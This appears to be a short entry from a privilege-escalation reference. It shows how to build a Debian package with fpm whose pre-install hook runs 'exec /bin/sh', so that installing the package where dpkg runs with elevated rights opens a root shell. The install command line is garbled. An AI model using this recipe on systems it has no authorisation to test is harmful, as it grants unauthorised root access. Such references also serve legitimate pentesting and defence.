Generate the Debian package with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.
```
echo 'exec /bin/sh' >x.sh
fpm -n x -s dir -t deb -a all --before-install x.sh .
```
rpmopkginstallx_1.0_all.deb
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.